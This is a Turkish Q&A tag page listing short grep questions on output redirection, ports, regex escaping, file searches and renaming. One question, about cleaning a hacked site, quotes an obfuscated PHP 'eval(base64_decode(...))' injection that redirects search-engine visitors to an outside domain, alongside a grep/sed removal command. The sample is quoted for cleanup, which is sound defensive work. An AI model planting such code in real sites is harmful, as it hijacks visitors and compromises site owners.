«grep» etiketlenmiş sorular

grep, normal bir ifadeyle eşleşen (veya olmayan) satırları arayan ve sonuçları yazdıran bir Unix komut satırı yardımcı programıdır. Grep özelliklerinin nasıl kullanılacağı, grep ile çalışan normal ifadelerin nasıl yazılacağı ve genel kullanım hakkında sorular için bu etiketi kullanın. Grep artık Unix benzeri ortamlarda (örneğin, Windows'ta Cygwin) bulunduğundan, bu etiketi uyumluluk soruları ve sürümler ile yazılım ortamları arasındaki farklar için de kullanabilirsiniz.

2
TÜM çıktı Linux'taki bir komuttan nasıl yönlendirilir
Gentoo Linux kullanıyorum. Bir program ( equery), şu anda yüklü olan tüm paketlerin ( equery list "*") büyük bir listesini çıkarır . Hangisinin kararsız olduğunu bulmak istiyorum. Equery, dengesiz paketleri paket adından önce [~] ile işaretler. Mesele şu ki, yalnızca çıkış herhangi bir yere yönlendirilmediğinde olur - terminalde. Çıkışı ( …

1
Ubuntu'da liman nasıl açılır?
3003Tüm uzak bağlantılarda düzgün çalışan açık bir bağlantı noktası var. Komutu yazdığımda: netstat -tupan | grep 3003 sonra çıktı verir $ netstat -tupan | grep 3003 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp …

1
grep, xargs, PHP eval hack'i temizlemek için sed
Bir PHP eval tabanlı kesmeyi temizlemek için http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ adresinde bulunan komutları kullanmaya çalışıyorum bir sitede. Eşleşecek / kaldırılacak örnek kod <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Denenmiş komut: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' Sudo, eriştiğim dizinde okuma / yazma izninin olması gerektiği için eklendi. Dosyalar grep'ten …
3 grep  sed  xargs 

1
Canlı (e) bir dosyada grepping
Her hafta ya da öylesine milyonlarca satırlık bir dosya yüklemem ve üzerinde greps çalıştırmaya başlamam gerekiyor. Bazı greps pozitif, bazıları negatif ("-v" bayrağı). Bazıları grep ve bazıları egrep. Bugün el ile yapıyorum - bir grep çalıştırın, sonuçları bir dosyaya kaydedin, sonra bu dosyada başka bir grep çalıştırın ve file2, ardından …
2 grep 

7
UNIX'te grep'in garip davranışı
Komutu yazdığımda $ grep \\\\h junk o zaman kabuk yorumlamalıdır \\\\h gibi \\h - iki çift olarak \\ her olmak \ . grep sırayla yorumlamalıdır \\h gibi \h gibi \\ olur \, yani grep kalıbı aramalı \h içinde junk, başarıyla yapıyor. Ama bunun için çalışmıyor \\\\$. Niye ya?
2 unix  grep 

2
Grepping'ten daha hızlı dosya aramak için mi?
Konsoldan bir dosyayı veya dosya ağacını dizine eklemenin bir yolu var mıdır, böylece alt dizileri aramak düz izlemeden daha hızlı yapılabilir mi? Düzenli ifadeler için mutlaka desteğe ihtiyacım yok, ancak küçük harf duyarsızlığı olması iyi olurdu. Benzer bir şekilde çalışacak basit bir konsol yardımcı programı arıyorum locate/slocate/mlocate ancak dosya adları …

1
7z -l çıkışını düzeltmek için grep veya başkasını kullanın.
Linux sistemindeki bir bileşik dosyanın kök dizinlerini almam gerekiyor. Bunun için 7zip (p7zip-full) kullanmaya çalıştım, çünkü bu araç bileşik dosya formatını okuyabilir. Bu temelde harika çalışır, ancak korkunç bir ayrıştırılabilir metin çıkarır. http://pastebin.com/VP4ZW8jr Bu yüzden topluluğa sorum, şöyle bir çıktı elde etmek için bu çıktının güzel bir şekilde ayrıştırılması için …
2 grep  7-zip 

2
Bir cümleyi grep ile eşleştirme
Ben bir arama terimi içeren tam cümle grep için çalışıyorum. denedim grep (^.|\.\s).*searchterm.*(\.\s|\n) ama çalışmıyor ve neden olduğundan emin değilim. Açıklığa kavuşturmak için: Stdout’un arama teriminin tam cümlesini yazdırmasını istiyorum. Tek bir metin dosyasında arama yapmak için grep kullanıyorum. Örnek olarak, eğer dosyam varsa "Foo blah. Blah blah searchterm blah …
2 regex  grep 

3
Linux - Tek komutla birden fazla servis durumu
Unix'te birden fazla hizmet durumunun listesini almaya çalışıyorum. Bu servicekomutu kullanıyorum : man page . Tüm durumlar transmission-daemonörneğin dizeyle başlar . Tek bir komutla birden fazla hizmetin durumlarını listeleme yeteneğine ihtiyacım var . İşte şu anda çalıştığım (ve başarısız olduğum): Burada kullanarak durumların bir listesini almaya çalışıyorum grep. service $(ls …
2 linux  grep 

2
En yeni dosyada grep
Alt klasörlerdeki en yeni dosyadan belirli bir satır bulmaya çalışıyorum. Dosyaların adı aynı. Yani yapı şöyle: Klasör SubFolder1 filename.XML SubFolder2 filename.XML Çizgiyi almak için grep kullanıyorum grep -r "mySubString" folder/ Dosyaları burada önerildiği gibi sıralamak için bulmayı denedim . Ancak en yeni dosyadan sadece satır almak için ikisini nasıl birleştireceğimi …

6
* Nix altında, bir dizindeki bir dosyadaki dizgiyi nasıl bulabilirim?
Ubuntu linux kullanıyorum ve birçok görev için her gün bir terminal emülatörü ile bash kullanıyorum. Belirli bir dizinde bulunan bir dosya içindeki bir dizgiyi veya alt dizgiyi nasıl bulacağımı bilmek istiyorum. Hedef alt dizgimi içeren dosyayı bilseydim, sadece dosyayı yakalar ve grep üzerinden geçirirdim. cat file | grep mysubstring Ancak …
2 linux  grep 

3
bir dizindeki dosyaları yeniden adlandırma
Bir dizinde dosyalarım var. Dosya adları bir tarih zaman damgası notasyonu kullanılarak oluşturulur, dosya adları şu şekildedir: name_YYMM.csv Bu tür dosyaları aşağıdaki adlandırma kuralını kullanarak yeniden adlandırmak istiyorum: name_YYYYMM.csv Bunu yapmak için grep gibi bir komut satırı yardımcı programı kullanabilir miyim, yoksa bunu yapmak için bir bash betiği yazmam gerekip …
2 ubuntu  bash  grep 

1
Bir kerede birkaç desen grep nasıl?
Oradaki paternle eşleşen her çizgiyi elde etmek istiyorum: bir şey bir yere bir yerde /data/rawlog.txt adresinden Bu komutu denedim, ancak başarısız oldu: grep -e "[something|someplace|somewhere]" /data/rawlog.txt Neyin yanlış gittiğini bilen var mı?
2 grep  freebsd 


2
Grep çıkışını bir dosyada olduğu gibi biçimlendirerek saklayın
Grep sonucunu, Biçole'deki (Kubuntu) çıktı ile aynı formatta bir dosyada saklamak istiyorum . Bir LibreOffice belgesinde kaydetmeye çalıştım, ancak sonuç metin dosyasındaki sonuçtan farklı değil. Sonuçları biçimlendirmeli dosyada nasıl saklarım? Yani sonucu renkli çıktıyla nasıl kaydederim?
2 linux  grep 

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.